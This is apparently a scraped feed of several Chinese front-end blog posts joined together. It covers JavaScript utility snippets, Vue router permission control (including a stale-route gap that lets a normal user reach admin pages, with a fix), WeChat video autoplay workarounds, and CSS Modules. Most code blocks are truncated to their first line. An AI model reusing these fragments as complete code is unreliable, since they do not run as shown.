使用 console.time() 和 console.timeEnd() 来测量开始和结束时间之间的差异,以确定回调执行的时间。
1 | const timeTaken = callback => { |
将数值转换为字符串,使用 split() 分割为数组。
再使用 Array.map() 和 parseInt() 将每个值转换为整数。
1 | const digitize = n => (''+n).split('').map(i => parseInt(i)); |
Use the modulo operator (%) to find values of single and tens digits.
Find which ordinal pattern digits match.
If digit is found in teens pattern, use teens ordinal.
使用模运算符(%)来查找单位数和十位数的值。
查找数字匹配哪些序号模式。
如果数字在十几的模式中找到,请使用的十几的序数。
1 | const toOrdinalSuffix = num => { |
使用 Math.random() 去生成一个在指定范围内的随机数,使用 Math.floor() 将其转换为整数。
1 | const randomIntegerInRange = (min, max) => Math.floor(Math.random() * (max - min + 1)) + min; |
使用 Math.random() 去生成一个在指定范围内的随机数。
1 | const randomInRange = (min, max) => Math.random() * (max - min) + min; |
使用按位左移运算符(<<)和 toString(16) 将 RGB 参数转换为十六进制,然后使用 padStart(6, ‘0’) 去获取6位数的十六进制。
1 | const rgbToHex = (r, g, b) => ((r << 16) + (g << 8) + b).toString(16).padStart(6, '0'); |
使用数组解构来交换两个变量之间的值。
1 | [varA, varB] = [varB, varA]; |
使用 match() 和一个合适的正则去获取所有键值对,使用 Array.reduce() 合并到一个对象中。
允许将 location.search 作为参数传递。
1 | const getUrlParameters = url => |
使用 crypto API 生成符合 RFC4122 版本4的UUID。
1 | const uuid = _ => |
Use a regular experssion to check if the email is valid.
Returns true if email is valid, false if not.
使用正则表达式去检验邮箱格式。
返回 true 表示邮箱格式正确,false 则不正确。
1 | const validateEmail = str => |
使用 !isNaN 和 parseFloat() 来检查参数是否是一个数字(或允许转换为数值)。
使用 isFinite() 来检查数字是否是有限的。
使用 Number() 来检查数值转换是否成立。
1 | const validateNumber = n => !isNaN(parseFloat(n)) && isFinite(n) && Number(n) == n; |
默认返回 value 如果 value 为假,则返回默认值。
1 | const valueOrDefault = (value, d) => value || d; |
曾经在工作上对 vue 路由权限管理这方面有过研究,这几天又看到了几篇相关的文章,再加上昨天电面中又再一次提及到,就索性整理了一下自己的一些看法,希望对大家有帮助。
大体上实现的思路很简单,先上图:
无非是将路由配置按用户类型分割为 用户路由 和 基本路由,不同的用户类型可能存在不同的 用户路由,具体依赖实际业务。
实现控制的方式分两种:
通过请求服务端获取当前用户路由配置,编码为 vue-router 所支持的基本格式(具体如何编码取决于前后端协商好的数据格式),通过调用 this.$router.addRoutes 方法将编码好的用户路由注入到现有的 vue-router 实例中去,以实现用户路由。
通过请求服务端获取当前用户路由配置,通过注册 router.beforeEach 钩子对路由的每次跳转进行管理,每次跳转都进行检查,如果目标路由不存再于 基本路由 和 当前用户的 用户路由 中,取消跳转,转为跳转错误页。
以上两种方式均需要在 vue-router
中配置错误页,以保证用户感知权限不足。
两种方式的原理其实都是一样的,只不过 addRoutes 方式 通过注入路由配置告诉 vue-router :“当前我们就只有这些路由,其它路由地址我们一概不认”,而 beforeEach 则更多的是依赖我们手动去帮 vue-router 辨别什么页面可以去,什么页面不可以去。说白了也就是 自动 与 手动 的差别。说到这,估计大家都会觉得既然是 自动 的,那肯定是 addRoutes 最方便快捷了,还能简化业务代码,笔者一开始也是这么认为的,但是!很多人都忽略了一点:
addRoutes
方法仅仅是帮你注入新的路由,并没有帮你剔除其它路由!
设想存在这么一种情况:用户在自己电脑上登录了管理员账号,这个时候会向路由中注入管理员的路由,然后再退出登录,保持页面不刷新,改用普通用户账号进行登录,这个时候又会向路由中注入普通用户的路由,那么,在路由中将存在两种用户类型的路由,即使用户不感知,通过改变 url,普通用户也可以访问管理员的页面!
对于这个问题,也有一个解决办法:
1 | import Vue from 'vue' |
通过新建一个全新的 Router,然后将新的 Router.matcher 赋给当前页面的管理 Router,以达到更新路由配置的目的。
]]>近日,由于工作原因,需要开发一款视频类 h5。玩法很简单,用户滚页面至底部,切换全屏视频播放。
为了满足交互需求,需要达到全屏同层播放,具体配置如下:
1 | <video |
由于该 H5 为视频类 H5 ,在移动端播放视频还是要考虑到加载速度及稳定播放等问题,因此笔者采用的是 “边播边加载” 的方式,利用 video 标签的 canplaythrough 事件作为页面加载完成的标志。
由于移动端原因, video 并不会主动去预加载用户未需求的资源,因此我们需要手动去触发 video 的预加载资源,
1 | document.getElementById('my-video').play(); |
这样就可以了吗?
不,万恶的微信限制了必须用户行为才能播放媒体资源,因此我们只能再祭出万能 hack:
1 | document.addEventListener('DOMContentLoaded', function() { |
安卓端由于无法像 ios 端完美的实现全屏播放,播放视频时手机依旧会进入媒体播放模式,这就导致了播放视频时会连带着媒体播放层的弹出,而媒体播放层则类似于 position: fixed; top: 0; left: 0; 的效果固定在页面顶部,每个媒体
播放层的弹出,都会预先将页面滚动至顶部,如果页面发生滚动,在安卓端播放视频就会出现短暂的黑屏。
因此,微信视频类 H5 如果需要滚动存在,请采用局部滚动。
安卓端下,滚动行为不归属在用户操作行为中,滚动事件中无法执行视频播放,在这个问题上,笔者使用 touchstart 对安卓端进行 hack。
一个css模块即一个定义好了所有样式(类)和动画名称的本地css文件
官方推荐仅使用类来定义样式
CSS Modules 会编译成一种低层级的ICSS,但它的格式与正常css格式相似
1 | /* style.css */ |
当使用js模块导入css模块时,它输出一个属性与本地样式名称相对应的对象
1 | import styles from './style.css'; |
对于本地类名建议使用驼峰命名,但并非强制
关于使用驼峰命名的方式主要是为了更好在js中导入并使用css模块
可以为css-loader增加camelCase参数来实现自动转换
1 | { |
:global: 切换到当前选择器所在全局作用域下
:local: 切换到局部作用域下
如果切换到全局模式下,定义的样式将允许在全局作用域中使用
Example:
1 | localA :global .global-b .global-c :local(.localD.localE) .global-d |
用于组合其它选择器
1 | .className { |
允许拥有多个组成规则,但组成规则必须先于其它规则。当一个类composes另外一个类时,css模块对外的接口为当前类名,允许添加多个类名。
组成规则允许使用多个类:composes: classNameA classNameB
允许compose其它CSS Modules的类名
1 | .otherClassName { |
注意:
模块化和可重复使用的css